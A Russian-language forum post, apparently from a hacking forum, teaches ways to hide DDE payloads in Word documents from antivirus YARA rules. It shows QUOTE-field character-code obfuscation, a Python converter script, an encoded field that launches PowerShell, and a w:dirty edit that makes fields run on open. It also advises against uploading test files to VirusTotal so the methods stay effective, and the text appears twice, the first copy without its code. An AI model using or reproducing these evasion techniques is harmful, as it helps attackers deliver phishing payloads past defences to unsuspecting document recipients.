U
Underwood
Приветствую уважаемых участников и гостей форума!
Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.
Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.
Информация предназначена исключительно в образовательных целях.
Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.
1. Micro$oft QUOTE
В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
Например:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату форматирования:
Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
Например:
Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
Это фактически становится:
Таким образом, можно представлять полезную нагрузку в виде целых чисел и слово автоматически преобразует ее в строку перед выполнением DDE
Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
Теперь открыть Powershell можно так:
2. Dirty-ссылки в DDEAUTO
Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
Таким образом при открытии документа ссылки будут автоматически обновляться, а диалоговое окно с предупреждением выглядит вполне безобидно.
Благодарю за внимание!
Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.
Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.
Информация предназначена исключительно в образовательных целях.
Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.
1. Micro$oft QUOTE
В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
Например:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
Код:
QUOTE {IF {DATE \ @ "M"} = 1 "12"
Код:
QUOTE {IF {DATE \ @" M "} -1} / 1/10" \ @ "MMMM"}}
Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
Например:
Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
Код:
{QUOTE 65}
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 71 71 71 71}"}
{DDE {REF c} {REF d}}
Код:
{DDE "AAAA" "GGGG"}
Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
Код:
#!/usr/env/python
print("Converts a string to the {QUOTE} Field code")
st = raw_input("String to convert: ")
v = map(lambda y: "%s"%ord(y),st)
print("{ QUOTE %s }"%' '.join(v))
Теперь открыть Powershell можно так:
Код:
{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
{DDE {REF C} "a"}
2. Dirty-ссылки в DDEAUTO
Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
Код:
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
Благодарю за внимание!
Последнее редактирование модератором: